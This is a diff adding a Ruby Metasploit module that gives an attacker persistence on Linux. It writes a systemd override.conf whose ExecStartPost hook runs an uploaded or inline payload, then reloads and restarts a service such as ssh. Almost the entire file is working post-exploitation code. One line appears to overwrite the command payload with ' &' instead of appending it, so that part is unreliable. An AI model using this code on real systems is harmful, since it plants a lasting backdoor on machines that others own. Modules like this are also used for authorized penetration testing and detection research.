|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Post::File |
| 10 | + include Msf::Post::Unix |
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + include Msf::Exploit::EXE # for generate_payload_exe |
| 13 | + include Msf::Exploit::Local::Persistence |
| 14 | + prepend Msf::Exploit::Remote::AutoCheck |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super( |
| 18 | + update_info( |
| 19 | + info, |
| 20 | + 'Name' => 'Service SystemD override.conf Persistence', |
| 21 | + 'Description' => %q{ |
| 22 | + This module will create an override.conf file for a SystemD service on the box. |
| 23 | + The ExecStartPost hook is used to launch the payload after the service is started. |
| 24 | + We need enough access (typically root) to write in the /etc/systemd/system |
| 25 | + directory and potentially restart services. |
| 26 | + Verified on Ubuntu 22.04 |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Author' => [ |
| 30 | + 'h00die', |
| 31 | + ], |
| 32 | + 'Platform' => ['unix', 'linux'], |
| 33 | + 'Privileged' => true, |
| 34 | + 'Targets' => [ |
| 35 | + ['systemd', {}], |
| 36 | + ['systemd user', {}] |
| 37 | + ], |
| 38 | + 'DefaultTarget' => 0, |
| 39 | + 'Arch' => [ |
| 40 | + ARCH_CMD, |
| 41 | + ARCH_X86, |
| 42 | + ARCH_X64, |
| 43 | + ARCH_ARMLE, |
| 44 | + ARCH_AARCH64, |
| 45 | + ARCH_PPC, |
| 46 | + ARCH_MIPSLE, |
| 47 | + ARCH_MIPSBE |
| 48 | + ], |
| 49 | + 'References' => [ |
| 50 | + ['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'], |
| 51 | + ['URL', 'https://askubuntu.com/a/659268'], |
| 52 | + ['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files |
| 53 | + ['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE] |
| 54 | + ], |
| 55 | + 'SessionTypes' => ['shell', 'meterpreter'], |
| 56 | + 'Notes' => { |
| 57 | + 'Stability' => [CRASH_SAFE], |
| 58 | + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], |
| 59 | + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] |
| 60 | + }, |
| 61 | + 'DisclosureDate' => '2010-03-30' # systemd release date |
| 62 | + ) |
| 63 | + ) |
| 64 | + |
| 65 | + register_options( |
| 66 | + [ |
| 67 | + OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']), |
| 68 | + ] |
| 69 | + ) |
| 70 | + register_advanced_options( |
| 71 | + [ |
| 72 | + OptBool.new('ReloadService', [true, 'Reload the service', true]) |
| 73 | + ] |
| 74 | + ) |
| 75 | + end |
| 76 | + |
| 77 | + def check |
| 78 | + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') |
| 79 | + |
| 80 | + root_dir = '/lib/systemd/system/' |
| 81 | + service_file = "#{root_dir}#{datastore['SERVICE']}.service" |
| 82 | + |
| 83 | + return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file) |
| 84 | + |
| 85 | + service_root_dir = '/etc/systemd/system/' |
| 86 | + service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d" |
| 87 | + override_conf = "#{service_dir}/override.conf" |
| 88 | + |
| 89 | + if directory?(service_dir) |
| 90 | + return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf) |
| 91 | + return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir) |
| 92 | + else |
| 93 | + return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir) |
| 94 | + end |
| 95 | + |
| 96 | + CheckCode::Appears("#{writable_dir} is writable and system is systemd based") |
| 97 | + end |
| 98 | + |
| 99 | + def install_persistence |
| 100 | + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') |
| 101 | + |
| 102 | + service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d" |
| 103 | + override_conf = "#{service_dir}/override.conf" |
| 104 | + |
| 105 | + unless exists?(service_dir) |
| 106 | + vprint_status("Creating #{service_dir}") |
| 107 | + create_process('mkdir', args: ['-p', service_dir]) |
| 108 | + end |
| 109 | + |
| 110 | + if exists?(override_conf) |
| 111 | + conf = read_file(override_conf) |
| 112 | + backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup") |
| 113 | + vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}") |
| 114 | + @clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n" |
| 115 | + else |
| 116 | + @clean_up_rc << "rm #{override_conf}\n" |
| 117 | + end |
| 118 | + |
| 119 | + if payload.arch.first == 'cmd' |
| 120 | + p_load = payload.encoded |
| 121 | + p_load = ' &' unless p_load.end_with?('&') |
| 122 | + contents = <<~OVERRIDE |
| 123 | + [Service] |
| 124 | + ExecStartPost=/bin/sh -c '#{p_load}' |
| 125 | + OVERRIDE |
| 126 | + else |
| 127 | + payload_path = writable_dir |
| 128 | + payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/" |
| 129 | + payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) |
| 130 | + payload_path << payload_name |
| 131 | + print_status("Uploading payload file to #{payload_path}") |
| 132 | + upload_and_chmodx payload_path, generate_payload_exe |
| 133 | + contents = <<~OVERRIDE |
| 134 | + [Service] |
| 135 | + ExecStartPost=/bin/sh -c '#{payload_path} &' |
| 136 | + OVERRIDE |
| 137 | + end |
| 138 | + |
| 139 | + vprint_status("Writing override file to: #{override_conf}") |
| 140 | + write_file(override_conf, contents) |
| 141 | + |
| 142 | + # This was taken from pam_systemd(8) |
| 143 | + systemd_socket_id = cmd_exec('id -u') |
| 144 | + systemd_socket_dir = "/run/user/#{systemd_socket_id}" |
| 145 | + cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload") |
| 146 | + |
| 147 | + @clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n" |
| 148 | + @clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\"" |
| 149 | + |
| 150 | + if datastore['ReloadService'] |
| 151 | + vprint_status("Reloading #{datastore['SERVICE']} service") |
| 152 | + cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service") |
| 153 | + end |
| 154 | + end |
| 155 | +end |
0 commit comments